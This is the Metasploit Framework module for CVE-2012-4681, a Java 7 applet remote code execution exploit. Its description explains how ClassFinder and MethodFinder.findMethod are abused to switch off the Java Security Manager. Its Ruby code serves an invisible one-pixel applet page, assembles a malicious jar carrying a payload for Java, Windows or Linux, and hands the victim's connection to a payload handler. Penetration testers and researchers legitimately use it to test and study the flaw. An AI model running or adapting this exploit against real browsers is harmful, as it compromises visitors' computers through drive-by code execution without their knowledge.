Path: blob/master/modules/exploits/multi/browser/java_jre17_exec.rb
19611 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910# include Msf::Exploit::Remote::BrowserAutopwn11# autopwn_info({ :javascript => false })1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Java 7 Applet Remote Code Execution',18'Description' => %q{19The exploit takes advantage of two issues in JDK 7: The ClassFinder and20MethodFinder.findMethod(). Both were newly introduced in JDK 7. ClassFinder is a21replacement for classForName back in JDK 6. It allows untrusted code to obtain a22reference and have access to a restricted package in JDK 7, which can be used to23abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can24actually invoke getField() by abusing findMethod() in Statement.invokeInternal()25(but getField() must be public, and that's not always the case in JDK 6) in order26to access Statement.acc's private field, modify AccessControlContext, and then27disable Security Manager. Once Security Manager is disabled, we can execute28arbitrary Java code.2930Our exploit has been tested successfully against multiple platforms, including:31IE, Firefox, Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.32},33'License' => MSF_LICENSE,34'Author' => [35'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory36'James Forshaw', # Vulnerability discovery according to Oracle's advisory37'jduck', # metasploit module38'sinn3r', # metasploit module39'juan vazquez' # metasploit module40],41'References' => [42[ 'CVE', '2012-4681' ],43[ 'OSVDB', '84867' ],44[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],45[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html' ],46[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/' ],47[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ],48[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html' ],49[ 'URL', 'https://www.rapid7.com/blog/post/2012/08/27/lets-start-the-week-with-a-new-java-0day' ],50[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=852051']51],52'Platform' => %w{java linux win},53'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },54'Targets' => [55[56'Generic (Java Payload)',57{58'Arch' => ARCH_JAVA,59'Platform' => 'java'60}61],62[63'Windows Universal',64{65'Arch' => ARCH_X86,66'Platform' => 'win'67}68],69[70'Linux x86',71{72'Arch' => ARCH_X86,73'Platform' => 'linux'74}75]76],77'DefaultTarget' => 0,78'DisclosureDate' => '2012-08-26',79'Notes' => {80'Reliability' => UNKNOWN_RELIABILITY,81'Stability' => UNKNOWN_STABILITY,82'SideEffects' => UNKNOWN_SIDE_EFFECTS83}84)85)86end8788def on_request_uri(cli, request)89if not request.uri.match(/\.jar$/i)90if not request.uri.match(/\/$/)91send_redirect(cli, get_resource() + '/', '')92return93end9495print_status("#{self.name} handling request")9697send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })98return99end100101paths = [102[ "Exploit.class" ]103]104105p = regenerate_payload(cli)106107jar = p.encoded_jar108paths.each do |path|1091.upto(path.length - 1) do |idx|110full = path[0, idx].join("/") + "/"111if !(jar.entries.map { |e| e.name }.include?(full))112jar.add_file(full, '')113end114end115fd = File.open(File.join(Msf::Config.data_directory, "exploits", "CVE-2012-4681", path), "rb")116data = fd.read(fd.stat.size)117jar.add_file(path.join("/"), data)118fd.close119end120121print_status("Sending Applet.jar")122send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })123124handler(cli)125end126127def generate_html128html = "<html><head></head>"129html += "<body>"130html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"131html += "</applet></body></html>"132return html133end134end135136137